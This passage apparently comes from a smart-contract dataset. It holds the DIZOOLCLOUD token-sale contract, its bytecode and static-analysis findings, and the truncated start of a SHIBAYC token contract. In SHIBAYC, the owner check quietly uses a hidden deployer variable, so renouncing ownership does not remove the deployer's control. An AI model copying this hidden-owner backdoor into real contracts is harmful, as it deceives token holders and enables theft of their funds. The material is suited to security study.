function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DIZOOLCLOUD is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "DIZOOL CLOUD";
string public constant symbol = "DZL";
uint public constant decimals = 18;
uint public deadline = now + 360 * 1 days;
uint public round2 = now + 180 * 1 days;
uint public round1 = now + 180 * 1 days;
uint256 public totalSupply = 600000000e18;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 100; // 0.01 Ether
uint256 public tokensPerEth = 100000e18;
uint public target0drop = 1000;
uint public progress0drop = 0;
address multisig = 0xC613D2aad28E8F3B63Ff5Ac736950D69a7f7841b;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 300000000e18;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether / 2;
uint256 bonusCond2 = 1 ether;
uint256 bonusCond3 = 3 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 2 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 4 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 6 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 4 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 6 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 20e18;
if (Claimed[investor] == false && progress0drop <= target0drop ) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require( msg.value >= requestMinimum );
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if( now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require( msg.value >= requestMinimum );
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
multisig.transfer(msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
|
0x60806040526004361061018b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610195578063095ea7b3146102255780631003e2d21461028a57806318160ddd146102b757806323b872dd146102e257806329dcb0cf146103675780632e1a7d4d14610392578063313ce567146103bf57806342966c68146103ea578063532b581c1461041757806370a082311461044257806374ff2324146104995780637809231c146104c4578063836e81801461051157806383afd6da1461053c578063853828b61461056757806395d89b411461057e5780639b1cbccc1461060e5780639ea407be1461063d578063a9059cbb1461066a578063aa6ca808146106cf578063b449c24d146106d9578063c108d54214610734578063c489744b14610763578063cbdd69b5146107da578063dd62ed3e14610805578063e58fc54c1461087c578063e6a092f5146108d7578063efca2eed14610902578063f2fde38b1461092d578063f3ccb40114610970575b6101936109b5565b005b3480156101a157600080fd5b506101aa610dbb565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ea5780820151818401526020810190506101cf565b50505050905090810190601f1680156102175780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023157600080fd5b50610270600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610df4565b604051808215151515815260200191505060405180910390f35b34801561029657600080fd5b506102b560048036038101908080359060200190929190505050610f82565b005b3480156102c357600080fd5b506102cc611039565b6040518082815260200191505060405180910390f35b3480156102ee57600080fd5b5061034d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061103f565b604051808215151515815260200191505060405180910390f35b34801561037357600080fd5b5061037c611415565b6040518082815260200191505060405180910390f35b34801561039e57600080fd5b506103bd6004803603810190808035906020019092919050505061141b565b005b3480156103cb57600080fd5b506103d46114e9565b6040518082815260200191505060405180910390f35b3480156103f657600080fd5b50610415600480360381019080803590602001909291905050506114ee565b005b34801561042357600080fd5b5061042c6116ba565b6040518082815260200191505060405180910390f35b34801561044e57600080fd5b50610483600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116c0565b6040518082815260200191505060405180910390f35b3480156104a557600080fd5b506104ae611709565b6040518082815260200191505060405180910390f35b3480156104d057600080fd5b5061050f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611714565b005b34801561051d57600080fd5b5061052661177e565b6040518082815260200191505060405180910390f35b34801561054857600080fd5b50610551611784565b6040518082815260200191505060405180910390f35b34801561057357600080fd5b5061057c61178a565b005b34801561058a57600080fd5b50610593611873565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d35780820151818401526020810190506105b8565b50505050905090810190601f1680156106005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061a57600080fd5b506106236118ac565b604051808215151515815260200191505060405180910390f35b34801561064957600080fd5b5061066860048036038101908080359060200190929190505050611974565b005b34801561067657600080fd5b506106b5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a11565b604051808215151515815260200191505060405180910390f35b6106d76109b5565b005b3480156106e557600080fd5b5061071a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c4c565b604051808215151515815260200191505060405180910390f35b34801561074057600080fd5b50610749611c6c565b604051808215151515815260200191505060405180910390f35b34801561076f57600080fd5b506107c4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c7f565b6040518082815260200191505060405180910390f35b3480156107e657600080fd5b506107ef611d6a565b6040518082815260200191505060405180910390f35b34801561081157600080fd5b50610866600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d70565b6040518082815260200191505060405180910390f35b34801561088857600080fd5b506108bd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611df7565b604051808215151515815260200191505060405180910390f35b3480156108e357600080fd5b506108ec61203c565b6040518082815260200191505060405180910390f35b34801561090e57600080fd5b50610917612042565b6040518082815260200191505060405180910390f35b34801561093957600080fd5b5061096e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612048565b005b34801561097c57600080fd5b506109b36004803603810190808035906020019082018035906020019190919293919293908035906020019092919050505061211f565b005b600080600080600080600080600d60149054906101000a900460ff161515156109dd57600080fd5b6000975060009650600095506706f05b59d3b200009450670de0b6b3a764000093506729a2241af62c00009250670de0b6b3a7640000610a2834600a546121d490919063ffffffff16565b811515610a3157fe5b049750339150662386f26fc100003410158015610a4f575060055442105b8015610a5c575060075442105b8015610a69575060065442105b15610ae757843410158015610a7d57508334105b15610a9957606460028902811515610a9157fe5b049550610ae2565b833410158015610aa857508234105b15610ac457606460048902811515610abc57fe5b049550610ae1565b8234101515610ae057606460068902811515610adc57fe5b0495505b5b5b610b71565b662386f26fc100003410158015610aff575060055442105b8015610b0c575060075442115b8015610b19575060065442105b15610b6b57833410158015610b2d57508234105b15610b4957606460048902811515610b4157fe5b049550610b66565b8234101515610b6557606460068902811515610b6157fe5b0495505b5b610b70565b600095505b5b85880196506000881415610c8a576801158e460913d00000905060001515600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515148015610bef5750600b54600c5411155b15610c6e57610bfe828261220c565b506001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600c60008154809291906001019190505550610c85565b662386f26fc100003410151515610c8457600080fd5b5b610d1f565b600088118015610ca15750662386f26fc100003410155b15610d07576005544210158015610cba57506007544210155b8015610cc7575060065442105b15610cdc57610cd6828961220c565b50610d02565b8434101515610cf557610cef828861220c565b50610d01565b610cff828961220c565b505b5b610d1e565b662386f26fc100003410151515610d1d57600080fd5b5b5b600854600954101515610d48576001600d60146101000a81548160ff0219169083151502179055505b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610db0573d6000803e3d6000fd5b505050505050505050565b6040805190810160405280600c81526020017f44495a4f4f4c20434c4f5544000000000000000000000000000000000000000081525081565b6000808214158015610e8357506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b15610e915760009050610f7c565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190505b92915050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fe057600080fd5b610ff58260085461239890919063ffffffff16565b9050806008819055507f90f1f758f0e2b40929b1fd48df7ebe10afc272a362e1f0d63a90b8b4715d799f826040518082815260200191505060405180910390a15050565b60085481565b600060606004810160003690501015151561105657fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561109257600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156110e057600080fd5b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561116b57600080fd5b6111bd83600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b490919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061128f83600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b490919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061136183600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239890919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b60055481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561147957600080fd5b819050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156114e4573d6000803e3d6000fd5b505050565b601281565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561154c57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561159a57600080fd5b3390506115ef82600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b490919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611647826008546123b490919063ffffffff16565b600881905550611662826009546123b490919063ffffffff16565b6009819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b60065481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b662386f26fc1000081565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561177057600080fd5b61177a82826123cd565b5050565b60075481565b600c5481565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117e957600080fd5b3091508173ffffffffffffffffffffffffffffffffffffffff16319050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561186e573d6000803e3d6000fd5b505050565b6040805190810160405280600381526020017f445a4c000000000000000000000000000000000000000000000000000000000081525081565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561190a57600080fd5b600d60149054906101000a900460ff1615151561192657600080fd5b6001600d60146101000a81548160ff0219169083151502179055507f7f95d919e78bdebe8a285e6e33357c2fcb65ccf66e72d7573f9f8f6caad0c4cc60405160405180910390a16001905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119d057600080fd5b80600a819055507ff7729fa834bbef70b6d3257c2317a562aa88b56c81b544814f93dc5963a2c003816040518082815260200191505060405180910390a150565b6000604060048101600036905010151515611a2857fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515611a6457600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515611ab257600080fd5b611b0483600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b9983600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239890919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b60046020528060005260406000206000915054906101000a900460ff1681565b600d60149054906101000a900460ff1681565b60008060008491508173ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611d2257600080fd5b505af1158015611d36573d6000803e3d6000fd5b505050506040513d6020811015611d4c57600080fd5b81019080805190602001909291905050509050809250505092915050565b600a5481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e5857600080fd5b8391508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611ef657600080fd5b505af1158015611f0a573d6000803e3d6000fd5b505050506040513d6020811015611f2057600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611ff857600080fd5b505af115801561200c573d6000803e3d6000fd5b505050506040513d602081101561202257600080fd5b810190808051906020019092919050505092505050919050565b600b5481565b60095481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120a457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151561211c5780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561217d57600080fd5b600090505b838390508110156121ce576121c1848483818110151561219e57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff16836123cd565b8080600101915050612182565b50505050565b6000808314156121e75760009050612206565b81830290508183828115156121f857fe5b0414151561220257fe5b8090505b92915050565b6000600d60149054906101000a900460ff1615151561222a57600080fd5b61223f8260095461239890919063ffffffff16565b60098190555061229782600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239890919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a77836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600081830190508281101515156123ab57fe5b80905092915050565b60008282111515156123c257fe5b818303905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561242957600080fd5b60008111151561243857600080fd5b60085460095410151561244a57600080fd5b61249c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239890919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124f48160095461239890919063ffffffff16565b600981905550600854600954101515612523576001600d60146101000a81548160ff0219169083151502179055505b8173ffffffffffffffffffffffffffffffffffffffff167fada993ad066837289fe186cd37227aa338d27519a8a1547472ecb9831486d27282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808381526020018281526020019250505060405180910390a28173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a72305820d0b1dbe5b13a0acb1125187fb1f995903b2056da65c3ca6ae96b38ee7921824c0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 9,295 |
0x956c4d2e3bb79634cab850f7090f6842163157a6
|
/*
Shiba Inu Yacht Club
🌟 Trust & Security:
Liquidity Locked on Team Finance
Contract Audited by InterFi Network
🌟 Taxes:
12% Tax as following:
5% - Marketing
5% - Utility & Development
2% - Team Treasury
🌟 SHIBAYC NFT Collection:
In development – Mint an exclusive SHIBAYC NFT! A diverse PFP collection consisting of 200+ traits, each trait is assigned a specific rarity making the collectibles fun-to-trade. These NFTs will later be integrated with our SHIBKOMBAT PvP Wager game.
🌟 SHIBKOMBAT P2E Game:
Coming Soon - Players can fight against different players, NPCs and earn against wagers determined by them. The goal is to successfully defeat opponents to earn rewards. Each playable character is in a form of NFT and has different skillset and powers. We will be organizing regular tournaments and top players will be rewarded from the Jackpot pool.
🗣 Social:
🖥 Website: https://shibayc.com
💬 Telegram: https://t.me/SHIBAYC
🖊 Github: https://github.com/shibayc/shibay
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract SHIBAYC is Context, IERC20, Ownable {
using SafeMath for uint256;
